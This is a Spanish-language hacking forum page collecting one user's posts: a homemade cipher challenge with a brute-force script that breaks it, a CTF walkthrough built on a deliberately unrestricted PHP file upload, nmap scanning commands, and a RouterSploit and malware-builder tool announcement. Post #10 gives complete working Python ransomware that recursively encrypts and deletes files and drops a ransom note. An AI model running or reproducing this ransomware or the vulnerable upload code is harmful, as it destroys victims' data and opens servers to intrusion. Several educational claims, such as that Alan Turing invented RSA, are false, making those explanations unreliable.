Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 000000 000000

#1
Hacking / Re:¿Puedes descifrarme?
Abril 06, 2020, 11:39:53 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola  ;)

Hoy traigo algo bastante especial, estos días he estado programando un cifrador.
Dato: Un cifrado no puede descifrase sabiendo los datos del cifrado de lo contrario es una codificación me explico:

El binario una de las codificaciones más famosas del mundo sabiendo el metodo de codificación podríamos descifrarlo. Pero con AES por ejemplo uno de los cifrados más conocidos aunque conozcamos el metodo de cifrado no podríamos descifralo por esa forma. Sabiendo esto continuemos.

He creado un cifrado, en python3 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que tiene una clave y (o al menos se intento)
no se podría descifrar sin romper la clave. Quería proponer intentar descifrar un mensaje para ver si es seguro. De esta forma la comunidad gana porque se puede jugar con el que a mi parecer es interesante y yo gano por los bugs. Win & Win.

Captura del proyecto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


(ADVERTENCIA: Solo soporta letras minusculas y números.)
Texto cifrado: 309224446557488409754066854545005782200040975244112

Si lo conseguís ponedlo abajo en los comentarios.  :P

Saludos  :)
Antes de nada gracias axcess  :D


(El proyecto esta haciéndose por dan884075 y por mi actualmente.)

Hola después de unos días mejorando el cifrado aquí traigo una nueva versión.  :)

MEJORAS:
(Ya no tiene múltiples claves)

Estube hablando con dan884075, su algoritmo de fuerza bruta con esta versión tardaría 24 años en probar todas las combinaciones sabiendo que tenemos 37 caracteres y una password de 8 caracteres 37 elevado a 8 nos salen unas 3512479453921 de probabilidades dijo que python3 es MUY lento que pasándolo a c podría acelerarlo unas 1500 veces  :'( pero aproximadamente son 8 días. Eso esta por ver. La verdad estoy muy contento con el resultado espero que lo disfruten tanto como yo  ;)

Próximas mejoras:

-Crear una librería de python con este cifrado.

-Poder cifrar archivos.(Esto se podría hacer con un par de lineas de código actualmente el problema es que ocuparía mucho más espacio voy a ver la forma de optimizar.)

-Meter todos lo bites así con una clave de 8 caracteres sería 255 elevado a 8: 17878103347812890625 con 10 caracteres de password superariamos en probabilidades a la mismísima maquina enigma tenía 159 trillones de probabilidades esta con 10 caracteres de clave tendría un cuatrillón ciento sesenta y dos mil quinientos veintitrés trillones seiscientos setenta mil ciento noventa y un billones quinientos treinta y tres mil doscientos doce millones ochocientos noventa mil seiscientos veinticinco probabilidades. :o

Saludos.

Nueva versión No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#2
Hacking / Re:¿Puedes descifrarme?
Abril 04, 2020, 11:44:57 AM
Hola.
Un amigo dan884075 que no tiene cuenta en underc0de rompió el cifrado por una vulnerabilidad que explicará el, estoy parcheando la versión la publicaré próximamente. Aquí dejo sus palabras:

El texto codificado es: "underc0de"
y la contraseña cualquier combinación de los caracteres: "3yqa a"

Como la contraseña se codificaba como un número, resultante de la suma de números preestablecidos que codificaban los caracteres de la contraseña, la contraseña pasaba a ser un conjunto de caracteres sin importar el orden.

Utilizé este script en python para averiguar la el texto, por fuerza bruta. Se ha conseguido descifrar en 3.23 segundos.

Código: python
from time import time

TEXT_CHARACTERS = (10061, 43487, 49669, 74287, 98953, 75767, 74099, 12457, 32159, 53897, 41263, 60331, 91291, 33403, 43651, 40559, 13921, 40531, 37861, 76091, 77093, 80107, 79861, 91801, 93937, 90397)
TEXT_NUMBERS = (42683, 10037, 20101, 49121, 33151, 17029, 58013, 89867, 91199, 97259)
TEXT_SPACE = 99989

KEYS_CHARACTERS = (59077, 77447, 46061, 20897, 48673, 78571, 65963, 15161, 64399, 45497, 91129, 80429, 17377, 42013, 19183, 23099, 22699, 55457, 84871, 84659, 32569, 80777, 52289, 86111, 86291, 37781)
KEYS_NUMBERS = (39443, 89963, 85691, 79273, 49531, 30713, 63059, 59263, 70489, 26647)
KEY_SPACE = 94687

TEXTS = set(TEXT_CHARACTERS + TEXT_NUMBERS + (TEXT_SPACE,))
KEYS = KEYS_CHARACTERS + KEYS_NUMBERS + (KEY_SPACE,)

MULTIPLIER = 10**(len(str(TEXT_SPACE)))

ORD_A = ord("a")
ORD_Z = ord("z")
ORD_0 = ord("0")
ORD_9 = ord("9")

class CharacterConverter:

def __init__(self, characters, numbers, space):
if len(characters) != ORD_Z - ORD_A + 1:
raise ValueError("longitud de la tupla de caracteres errónea")

if len(numbers) != 10:
raise ValueError("Longitud de la tupla de números errónea")

self.characters = characters
self.numbers = numbers
self.space = space


def getNumber(self, character):
if character == " ":
return self.space

n = ord(character)

if n >= ORD_0 and n <= ORD_9:
return self.numbers[n - ORD_0]

elif n >= ORD_A and n <= ORD_Z:
return self.characters[n - ORD_A]

else:
raise ValueError("Caracter no válido")

def getCharacter(self, number):
if number == self.space:
return " "

elif number in self.numbers:
return chr(self.numbers.index(number) + ORD_0)

elif number in self.characters:
return chr(self.characters.index(number) + ORD_A)

else:
raise ValueError("Número no encontrado")


TEXT_CONVERTER = CharacterConverter(TEXT_CHARACTERS, TEXT_NUMBERS, TEXT_SPACE)
KEY_CONVERTER = CharacterConverter(KEYS_CHARACTERS, KEYS_NUMBERS, KEY_SPACE)

passwordToKey = lambda password: sum(map(KEY_CONVERTER.getNumber, password))

def encode(text, password):
"""Codifica el texto que se pasa como parámetro con la contraseña indicada
text: Texto a codificar
password: Contraseña para codificar"""
num = 0

for elem in text:
num = num * MULTIPLIER + TEXT_CONVERTER.getNumber(elem)

key = passwordToKey(password)
return num * key


def decode(encodedCode, password):
"""Decodifica el mensaje con la contraseña indicada y devuelve el texto original
encodedCode: Mensaje a decodificar
password: Contraseña para decodificar"""
key = passwordToKey(password)

num = encodedCode // key
return numberToText(num)


def numberToText(num):
decoded = ""

while num > 0:
decoded += TEXT_CONVERTER.getCharacter(num % MULTIPLIER)
num //= MULTIPLIER

return decoded[::-1]


def decodeGuessingPassword_passAsSet(encodedCode, maxPassSize=4):
"""Devuelve el texto correspondiente a la decodificacion del mennsaje
prueba con todas las contraseñas hasta la longitud indicada
Trata las contraseñas como un conjunto de caracteres, sin orden
encodedCode: Texto codificado
maxPassSize: Longitud máxima de la contraseña"""

notFound = True
currentKeyData = [0]
curSize = len(currentKeyData)
maxVal = len(KEYS) - 1

while len(currentKeyData) <= maxPassSize and notFound:

if checkValidDecodedMsg(encodedCode // sum((KEYS[pos] for pos in currentKeyData))):
notFound = False

else:
i = 0
while i < curSize and currentKeyData[i] == maxVal:
i += 1

if i != curSize:
currentKeyData[i] += 1
valCurentKeyData = currentKeyData[i]

for i in range(i - 1, -1, -1):
currentKeyData[i] = valCurentKeyData

else:
curSize += 1
currentKeyData = [0] * curSize

if notFound:
raise ValueError("No se ha podido decodificar")

else:
return numberToText(encodedCode // sum((KEYS[pos] for pos in currentKeyData))), getPasswordFromKeyData(currentKeyData)


def checkValidDecodedMsg(msg):
"""Comprueba que el mensaje decodificado, como múmero sea válido
msg: Mensaje a comprobar"""
while msg > 0:
if not msg % MULTIPLIER in TEXTS:
return False

msg //= MULTIPLIER

return True

#Devuelve la contrasena, pasando como parámetro un iterable con las posiciones en KEKS de los valores de la contraseña
getPasswordFromKeyData = lambda KeyData: tuple((KEY_CONVERTER.getCharacter(KEYS[pos]) for pos in KeyData))


def main():
coded = 309224446557488409754066854545005782200040975244112

t0 = time()
print("Mensaje: {}, Contraseña: {}".format(*decodeGuessingPassword_passAsSet(coded, 8))) #Aquí al leer el post undercode cambio 8 ))) (pegado) por la ubicación de las gafas de sol.
print(f"Time: {time() - t0}")


if __name__ == '__main__':
main()


#3
Hacking / ¿Puedes descifrarme?
Abril 03, 2020, 09:45:42 AM
Hola  ;)

Hoy traigo algo bastante especial, estos días he estado programando un cifrador.
Dato: Un cifrado no puede descifrase sabiendo los datos del cifrado de lo contrario es una codificación me explico:

El binario una de las codificaciones más famosas del mundo sabiendo el metodo de codificación podríamos descifrarlo. Pero con AES por ejemplo uno de los cifrados más conocidos aunque conozcamos el metodo de cifrado no podríamos descifralo por esa forma. Sabiendo esto continuemos.

He creado un cifrado, en python3 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que tiene una clave y (o al menos se intento)
no se podría descifrar sin romper la clave. Quería proponer intentar descifrar un mensaje para ver si es seguro. De esta forma la comunidad gana porque se puede jugar con el que a mi parecer es interesante y yo gano por los bugs. Win & Win.

Captura del proyecto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


(ADVERTENCIA: Solo soporta letras minusculas y números.)
Texto cifrado: 309224446557488409754066854545005782200040975244112

Si lo conseguís ponedlo abajo en los comentarios.  :P

Saludos  :)
#4
Buen aporte pero creo que se te olvido borrar los metadatos  :P

Saludos.
#5
Hacking / Reto de hacking.(Solución)
Marzo 20, 2020, 08:21:44 PM
Hola buenas. ;)

Hace bastante tiempo publiqué el siguiente reto https://retoh4cking.000webhostapp.com  en este post (YA ELIMINADO) No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y como vi que nadie se unía al servidor de discord y que defacearon el sitio pues decidí publicar ya la solución.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

La verdad es que era un reto bastante fácil, pensé que se lo pasarían  :'(.

1. Paso.

Código: php
<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b>
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php

// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$rand_number = rand(1,100);
$target_dir = "uploads/";
$target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
$file_name = $target_dir . basename($_FILES["file"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
$type = $_FILES["file"]["type"];
$check = getimagesize($_FILES["file"]["tmp_name"]);

if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
$uploadOk = 1;
}else{
$uploadOk = 1; // Pensé que infectar con burpsuite sería demasiado.
echo "Sube tu foto ;) ";
}
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/¿¿¿cual será???";
  }
}
?>

</body>
</html>


Esto subía archivos a la carpeta uploads lo ponía claramente en se ha subido a uploads/??? la gran mayoría de la gente no pensó lo que subía había dni etc ... pero bueno. Al entrar en el directorio uploads salía lo siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En lo cual podrías abrir lo que subiste previamente, solamente tendríais que subir un php malicioso y ejecutarlo desde el directorio para ejecutar el script, de todas formas esta al ser una vulnerabilidad conocida algunos se la lograron pasar, cuando accedías al servidor tenías el siguiente archivo RETO_TeaM.txt su contenido era el siguiente:

CLAVE = 4d186321c1a7f0f354b297e8914ab240
Texto cifrado:

l5lw2E+J9ANk/IOkAHxXFA2mBZDW9Z59FBEVh0IoQZScUfFXimz3A+tn9ehumjByQ5w/3+fboVhwoFMTzyHCTqwGGpKSAr94K4ioJubL2cvUu9k2FVQTy8Meo36Jtv8l


(Tengo que reconocer que esta era la parte difícil del reto.)
La clave era md5 que se descifraría fácilmente con la siguiente web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta resultado=hola y lo otro era AES 128 y la clave era hola el resultado de decodificar era el siguiente, aHR0cHM6Ly9kaXNjb3JkYXBwLmNvbS9pbnZpdGUvTXhtcmZzRg== base64 fácilmente decodificable, el cual nos daría el siguiente resultado al decodificar: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que era la invitación.

Espero que aprendieran algo en este reto que al final ¡Para eso están!

Saludos
#6
Encontré otra configuración mejor para escanear prácticamente todo:

nmap -sC -sV -O -p- -A ip


Saludos.   ;)
#7
Hacking / Reto de hacking.
Marzo 13, 2020, 10:23:39 AM
Hola. ;)

Hacia tiempo un amigo y yo decidimos crear un team de hack the box en discord y ir todos a por una caja difícil y así ver que encuentra cada uno e ir resolviendo, pero estubimos buscando y no encontramos a nadie que estuviera dispuesto así que se me ocurrió este reto PERO ANTES DE QUE TE VALLAS  ;D es un reto, simplemente puedes pasártelo para practicar y luego no unirte eso es decisión tuya, es un reto de hacking de dificultad media mezcla un poco la criptografía y el hacking web.
Y por último solo los 5 primeros podrán unirse al team cuando se unan los 5 publicaré la solución.  ¡¡Suerte a todos!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#8
Me ha encantado, la mejor tool que veo desde hace mucho tiempo!!!  ;)
Una pregunta, vas a sacar nuevas versiones!? Porque el proyecto pinta bien unos retoques más y quien sabe, de todas formas felicitaciones por la tool.

Saludos.
#9
Hacking / Re:Ransomeware #1
Febrero 08, 2020, 04:48:01 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy buen post, te feiicito por lo que estás haciendo (Enseñar).

Generalmente los ransomwares usan «Números pseudo-aleatorios criptográficamente seguros», lo cifran con un algoritmo simétrico robusto (usando los números mencionados anteriormente) y almacenan las claves con un algoritmo de cifrado asimétrico en la misma base de datos restringiendo cada vez más atacarlos.

En conclusión, ¡SON UNOS DESGRACIADOS!

~ DtxdF

Gracias! Ese en concreto usa AES256 osea que ajajaaj
#10
Hacking / Ransomware #1
Febrero 08, 2020, 10:37:27 AM
Hola buenas, antes de comenzar quería decirles que no pongan en los comentarios cosas como | COMO SUBES ESTE CONTENIDO o ESTAS LOCO AL SUBIR ESTO| ya que he sido autorizado para subirlo a demás esto no solo sirve para atacar también sirve para saber como funciona uno, sabiendo eso continuemos.

Bienvenidos, a la primera parte de esta serie, los ransomeware, en este artículo veremos que es, y haremos uno sencillo, comencemos!

DEFINICIÓN.


El ransomeware es un tipo de malware, que cifra información del usuario y generalmente pide dinero por ella como el gran conocido WannaCry, el mencionado anteriormente se distribuía generalmente por una vulnerabilidad y por eso creció tanto.

Para cifrar la información se suelen usar algoritmos como AES256 el cual es muy seguro y por lo tanto no podremos recuperar los archivos fácilmente, generalmente envía la clave a un servidor remoto en el ejemplo que voy a mostrar no se enviará, eso lo haré si veo que este post en bien recibido por ustedes  ;).



CREANDO UN RANSOMEWARE SIMPLE + VÍDEO DEMOSTRATIVO.


Después de saber que es un ransomeware pasemos a la parte práctica. El siguiente ransomeware será programado en python3, debido a que es sencillo y potente a demas de que es mi lenguaje favorito.

CÓDIGO COMENTADO.
Código: python


import os, simplecrypt, random #Importamos las librerías simplecrypt no viene por default en python pero a continuacion veremos la solución.
from getpass import getuser

user = getuser()
rut = "/home/user/Desktop/Prueba/"
ruta = rut.replace("user", user) #Conseguímos el nombre de usuario
os.system("curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py ; python get-pip.py ; pip install simplecrypt ; rm get-pip.py") # Comandos que instalan la librería simplecrypt

longitud = 20
char = "abcdefghijklmnopqrstuvwyz1234567890"
password = ""
while longitud != 0:
password += random.choice(char) # Generamos una clave aleatória de 20 caracteres con todas las letras y números.
    longitud -= 1


def cifrar(carpeta):
for archivo in os.listdir(carpeta):
elementos = os.path.join(carpeta,archivo)
if os.path.isdir(os.path.join(carpeta,archivo)):
cifrar(os.path.join(carpeta,archivo)) # Encontramos todos los ficheros de un directorio
try:
leer = open(elementos, "rb")
interior = leer.read()
os.system("rm " + elementos)
archivofinal = simplecrypt.encrypt(elementos, password)
directoriocifrado = elementos + ".crypt"
abrir = open(directoriocifrado, "wb")
abrir.write(archivofinal)
abrir.close() # Ciframos eliminamos y escribimos el resultado cifrado si puede ya que si se encuentra con una carpeta no la podrá cifrar

except:
variable = 0
variable -= 1 # Hace algo inútil si encuentra algo que no puede cifrar


def recuperar():
recuperar = open("Recuperararchivos.txt", "w")
recuperar.write("DAME MIS KIBABS y te los doy (^3^)")
recuperar.write("\n")
recuperar.write(password)
recuperar.close() # Escribe el mensaje de recuperación pero también escribe la contraseña.


cifrar("/home/linuxpower/Desktop/Prueba")
recuperar() # Llama a las funciones


VÍDEO DEMOSTRATIVO.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.  ;)
#11
E-Zines / Re:UnderDOCS - Enero 2020, Número 6
Enero 10, 2020, 07:23:02 PM
Quería felicitarles por el GRAN  foro que han montado y espero que siga así mucho tiempo más!!! Yo intentare contribuir lo que pueda  ;) ;)
#12
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Mayormente colocan el cifrado de césar no usando el abecedario español, por lo que contiene la "ñ" en el primer reto, es a lo qué me refiero.

~ DtxdF

Me pareció extraño después de lo base64 le pase el cesar y ningún resultado tenía sentido, me ralle xD pero al final como era vefnwxc en césar o como, por cierto ¡¡¡feliz aniversario y que tengáis muchos más!!!

Saludos.  :)
#13
Hacking / Re:Codificaciones. #1
Enero 03, 2020, 10:41:54 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Solo por comentar, igual corregiría el término de codificación por cifrado. Lo comento porque normalmente se suele distinguir entre codificación que suele entenderse como la traslación de uso de un alfabeto a otro, codificación ASCII, codificación binaria, codificación hexadecimal, codificación base64, etc... cuando no existe ningun secreto o proceso en el que se oculta la información utilizando un password. Se suelen meter también los algoritmos de compresión, donde la información se codifica de manera que ocupen menos espacio en memoria aprovechandose normalmente de las repeticiones de series numericas dentro de la información a compartir o almacenar.
El término cifrado se suelle utilizar cuando se realiza un ocultamiento de algo mediante una opración matemática en la que si no dispones del secreto o password no vas a poder recuperar la información.
Pero es solo un punto de vista, si no te gusta pues lo cambio. :) un abrazo.

Cierto Gracias, también me lo dijo dtxdf a mi me sonaba también a partir de ahora lo pondré como decís  ;)
#14
Hacking / Buffer overflow #1
Enero 03, 2020, 10:38:14 AM
Hola.

Buenas hoy vamos a ver la explotación de un fallo de programación o bug que consiste en que un programa no controla adecuadamente la cantidad de datos que se copian sobre un área de memoria reservada a tal efecto (buffer): Si dicha cantidad es superior a la capacidad preasignada, los bytes sobrantes se almacenan en zonas de memoria adyacentes, sobrescribiendo su contenido original, que probablemente pertenecían a datos o código almacenados en memoria. Este fallo afecta a grandes organizaciones como TP-LINK todos sus routers tenían este fallo.

Este fallo suele ser por ejemplo cuando una variable tiene como límite 4 y el programa no verifica que pones más de cuatro, entonces da errores mostrando cosas que no deberían mostrarse en como sobrecargarlo.

Como en esta imagen (el límite es 8 pero no verifica que tenga más):
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Vídeo explicativo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#15
Hacking / Cifrado. #1
Diciembre 25, 2019, 08:27:53 PM
Hola.  ;)


Buenas hoy les traigo un taller para aprender para que sirven las codificaciones, cuales son las principales codificaciones y como hacer un par de ellas un tanto sencillas. Antes de empezar quiero que me perdonen por tal vez en alguna parte ser inculto.


PARA QUE SIRVEN.

El problema de tener texto no codificado ha sido un problema desde la antigüedad, de hecho el conocido emperador romano César invento una codificación para que los enemigos no viesen lo que quería hacer, esta codificación es conocida como César es muy sencilla pero en la época era muy útil consiste en  por ejemplo quieres codificar la siguiente cadena "undercode" lo que tendrías que hacer es pasar X letra para delante por ejemplo tenemos la letra "a" la codificamos pasando solo 1 letra nos quedaría que "a" es "b" en en caso de "undercode" quedaría así "vñefsdpef", pero esto actualmente es inútil ya que es muy sencillo de romper probando X letras para delante y se han desarrollado nuevos algoritmos más seguros usados en muchos campos, por ejemplo las redes WIFI a quién no le suena WEP WPA WPA2 el WEP se consiguió romper pero los otros siguen en pie, otro uso que le podemos dar a las codificaciones es algo que al estar en este foro lo estas usando, http y https su diferencia es que http no esta cifrada la conexión al servidor pero el https si que lo esta por eso una es más segura que la otra, ahora que ya sabemos algunos de sus usos vamos a ver cuales son las principales codificaciones seguras y sus diferencias. (Conclusión sirven para que nadie que no queramos acceda a nuestros datos.)

TIPOS DE CODIFICACIONES.

Codificación simétrico y asimétrico:




Estos dos son cifrados con clave, primero vallamos con el simétrico, cuando le pones contraseña a tu teléfono le pones una clave y luego descifras el teléfono con esa misma clave por ejemplo AES, pero el asimétrico es un poco más difícil de explicar básicamente cifras con una clave y descifras con otra, porque tienes claves publicas y claves privadas, estas suelen hacerse con números primos por ejemplo el 3 y el 11 eso sería nuestra clave privada, pero cuando lo multiplicamos nos daría
33 y esa sería nuestra clave pública en este caso 33 sería la codificación final, este un claro ejemplo de el algoritmo RSA inventado por Alan Turing para la guerra de los americanos contra los nazis, bueno volvamos con la clave pública en este caso es muy fácil adivinar que la clave privada es 3 y 11 pero esto lo hacen con números como 2^77.232.917 − 1 y claro no es tan obvio en esos casos :'( para saber las claves privadas habría que factorizar, pero le cuesta mucho a los ordenadores cosas como esas con números grandes.


Hash.




Su nombre viene de un plato de comida en el que se mezclan todos ingredientes mucho, lo mismo pasa en la codificación se mezcla mucho. Este tipo de codificación en muy usado en bases de datos a la hora de guardar contraseñas, es un tipo cifrado "irreversible" solamente puedes acceder cuando codificas la contraseña y es igual a la que ya tenías por ejemplo:
if password == "B221D9DBB083A7F33428D7C2A3C3198AE925614D70210E28716CCAA7CD4DDB79":
                login()
Ese es un hash sha256 con la palabra hola codificada si al codificarla es igual al texto de arriba pues le deja pasar en el caso contrario no, la única forma de romper estos hash es a fuerza bruto haciendo los hash de palabras corrientes como hola y clasificándolos para tener una especie de diccionario de hashes, existen páginas web para romperlos que tienen millones de hashes almacenados con palabras corrientes, esa es la razón de tener contraseñas seguras ya que si acceden a una base de datos de un sitio web con las contraseñas codificadas en un hash las contraseñas fáciles estarán en el diccionario. Otro uso que se le puede dar a los hashes son las monedas virtuales pero no me meto porque no controlo mucho simplemente creo que el primero que rompa el hash se leva el $.


Crear tus propias codificaciones.


En este caso vamos a hacer 2 un poco simples la verdad, pero nos ayudará a comprender mejor como funciona, vamos a crear uno sin clave al estilo César y un hash muy sencillito.


Codificación estilo César:

Código: python
		vb = input("Texto a codificar: ")
                                cambiar += vb.replace("a", "ªªªªªªªªªª") #remplazo un carácter por otro

cambiar1 += cambiar.replace("b", "$$$$")

cambiar2 += cambiar1.replace("c", "´´´´´´´´")

cambiar3 += cambiar2.replace("d", "^^^^^^^^^^^^^^")

cambiar4 += cambiar3.replace("e", "¨¨¨¨¨")

cambiar5 += cambiar4.replace("f", "·······················")

cambiar6 += cambiar5.replace("g", "ççççç")

cambiar7 += cambiar6.replace("h", "|||||||||||||||")


Y así se remplazaran algunos caracteres por otros, para añadir mas es muy sencillo si sabes programar, pero ahora vallamos a lo gordo, al hash(no debería llamarlo así porque se descifra con un poco de trabajo, pero bueno todo depende del algoritmo que le pongas).

Código: python
contador = 0
has = input("CADENA>> ")
has = has.lower()
longitud = len(has)
hash = []
hashnum = []
def main():
    for letra in has:
        hash.append(letra)
        if "a" ==  letra:
            hashnum.append(18289)
        if "b" ==  letra:
            hashnum.append(19919)
        if "c" == letra:
            hashnum.append(33359)
        if "d" == letra:
            hashnum.append(29077)
           
        if "e" == letra:
            hashnum.append(30319)
        if "f" == letra:
            hashnum.append(31847)
        if "g" == letra:
            hashnum.append(28843)
        if "h" == letra:
            hashnum.append(26627)
        if "i" == letra:
            hashnum.append(25301)
        if "j" == letra:
            hashnum.append(34159)
        if "k" == letra:
            hashnum.append(29179)
        if "l" == letra:
            hashnum.append(26113)
        if "n" == letra:
            hashnum.append(28817)
        if "m" == letra:
            hashnum.append(65053)
        if "o" == letra:
            hashnum.append(64223)
        if "p" == letra:
            hashnum.append(52457)
        if "q" == letra:
            hashnum.append(89983)
        if "r" == letra:
            hashnum.append(97673)
        if "s" == letra:
            hashnum.append(11171)
        if "t" == letra:
            hashnum.append(76259)
        if "u" == letra:
            hashnum.append(80363)
        if "v" == letra:
            hashnum.append(68891)
        if "w" == letra:
            hashnum.append(91837)
        if "x" == letra:
            hashnum.append(99989)
        if "y" == letra:
            hashnum.append(34763)
        if "z" == letra:
            hashnum.append(74077)
        if " " == letra:
            hashnum.append(70141)
        if "." == letra:
            hashnum.append(19961)
        if "-" == letra:
            hashnum.append(64019)
        if "_" == letra:
            hashnum.append(72173)
        if "}" == letra:
            hashnum.append(93503)
        if "{" == letra:
            hashnum.append(52567)
        if "+" == letra:
            hashnum.append(12401)
        if "*" == letra:
            hashnum.append(58309)
        if "," == letra:
            hashnum.append(95873)
        if ";" == letra:
            hashnum.append(33037)
        if ":" == letra:
            hashnum.append(27337)
        if "1" == letra:
            hashnum.append(26489)
        if "2" == letra:
            hashnum.append(89329)
        if "3" == letra:
            hashnum.append(88019)
        if "4" == letra:
            hashnum.append(94201)
        if "5" == letra:
            hashnum.append(49031)
        if "6" == letra:
            hashnum.append(41023)
        if "7" == letra:
            hashnum.append(88793)
        if "8" == letra:
            hashnum.append(94169)
        if "9" == letra:
            hashnum.append(20509)
        if "0" == letra:
            hashnum.append(13841)
        if "[" == letra:
            hashnum.append(89041)
        if "]" == letra:
            hashnum.append(92809)
        if '"' == letra:
            hashnum.append(23819)
        if "'" == letra:
            hashnum.append(25097)
        if "=" == letra:
            hashnum.append(93827)
        if "(" == letra:
            hashnum.append(54151)
        if ")" == letra:
            hashnum.append(17957)
        if "!" == letra:
            hashnum.append(11003)
        if "@" == letra:
            hashnum.append(12301)
        if "#" == letra:
            hashnum.append(14891)
        if "$" == letra:
            hashnum.append(21139)
        if "/" == letra:
            hashnum.append(21503)
        if "´" == letra:
            hashnum.append(14713)
        if "`" == letra:
            hashnum.append(11833)
        if "¨" == letra:
            hashnum.append(14759)
main()
#Algoritmo
while True:
    if longitud == 0:
        break
    hashfinal = hashnum[0]*99149 #Multiplico el primer número primo de la lista por otro número primo.
    longitud-=1
    hashfinal = hashfinal*hashnum[-1] #Multiplico lo anterior por el ultimo número de la lista
    longitud-=1
    break
print(hashfinal)


Simplemente remplazo letras por números primos que guardo en una lista para luego jugar con ellos en el algoritmo de cifrado que en este caso es muy muy simple pero si a vosotros se os ocurre algo más complejo ponedlo en un comentario y así aprendemos todos, antes de despedirme les dejo aquí una lista de números primos algo grande por si quieren hacer algo por el estilo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.  ;D
#16
Underc0de / Re:Sorteo: Tarjeta de Regalo Google Play
Diciembre 17, 2019, 06:59:46 PM
Código: perl
use strict;
use warnings;

sub fib {
    my $n = shift;

    if ($n == 1 or $n == 2) {
        return 1
    }

    return (fib($n-1)+fib($n-2));
}

print fib(100);
#17
Hacking / Buscar vulnerabilidades en sistemas con nmap.
Diciembre 17, 2019, 12:17:38 PM
Hola.  ;)

Presentación:

Hoy les traigo como buscar vulnerabilidades con nmap empecemos, antes de nada que es nmap, seguramente como muchos ya sabrán, es una tool para encontrar puertos abiertos, detectar el sistema, escaners de red, etc... solo con la ip, pero hoy vamos a ver algo muy útil para nuestra seguridad y pruebas de pentesting lo que haremos sera encontrar fallos en sistemas, nmap trae un script para detectarlas.

Práctica:

Aquí es donde entra la practica, con la misma tool vamos a ver las ip conectadas a un sitio y vamos a ver si son vulnerables, uno de los muchos motivos por los que no conectarse a un red abierta. Primero tenemos que instalar nmap, cuando lo tengamos instalado, ya estaríamos listos. comencemos.
Comandos principales:

nmap -sP las direcciones ip conectadas router a la que le añadiremos /24

Deteción de puertos abiertos:

nmap host

Deteción de puertos abiertos en equipos algo protegidos con firewall etc..

nmap -Pn host

Deteción de sistema operativo:

nmap -O host

Detección de fallos:

nmap -n -Pn ip --script=vuln


Sabiendo esto solo habría que conseguir las direcciones ip, y luego ejecutar el escaner de vulnerabilidades si encuentra alguno, os avisará y os pondrá cual es y la descripción del fallo solo habría que buscarlo en internet y ver como se explota, si quisieras ver fallos de un servidor tendrías que conseguir su ip con un simple ping.
Tengo este vídeo demostrativo:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Saludos.
#18
Hacking / Hackear router, o cámara web.
Diciembre 17, 2019, 11:38:38 AM
Hola.  :D

Presentación

Buenos días  hoy les traigo como se podría hackear por medios de fallos de seguridad routers o camaras web por medio de fallos de seguridad, ya que los routers en su interior usan linux, esto supone un gran problema para la seguridad de los sistemas de dentro de la red porque dentro del router se podrían hacer muchas cosas. Para ello usaremos la tool routersploit esta tool escrita en python cuenta actualmente con 132 exploits para explotar routers o cámaras, en el caso de los routers podrían hacer una reverse shell, pueden darte los hash de el router estos últimos suelen usar LM o NTML fueron creados por microsoft pero estan rotos osea que podrían descifrarse fácilmente. Pero a la hora de usarla surge un problema, se tardaría mucho tiempo en probar todos los exploits y por eso la tool trae un scanner para escanear todos los fallos(auto/pwn) y si detecta alguna vulnerabilidad, te la dirá cual es y el respectivo exploit.

Práctica:

Su uso es muy sencillo, he hecho un vídeo demostrativo para que vean exactamente como se hace.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Download:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos. ;)
#19
Hola, buenas tardes, días y noches.


Hoy les traigo un proyecto 100% hecho en python3, trae varias tools incorporadas entre ellas están:
1. Crypter.
2. Binder.
3. Generadores de shell y recibidores de las mismas.
4. Varios algoritmos de cifrado.

Los malware se generaran en la extensión .py, pero antes de que se vallan al ver que solo es para .py tranquilos se puede compilar usando pyinstaller a .exe, para instalarlo hace falta pip, os ahorra la búsqueda No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 

Uso de la tool:

Sinceramente si sabes usar metasploit te parecerá muy fácil adaptarte, incluso tengo un vídeo explicanco todas sus funciones: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Contacto:

A cualquier error, podéis contactar al correo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o en discord Miguel Alonso#1314


Descargas:

[hide post=5]No tienes permitido ver los links. Registrarse o Entrar a mi cuenta[/hide]


Saludos.  ;)
#20
Criptografía / Re:Codificador "indescifrable".
Octubre 31, 2019, 09:10:18 AM
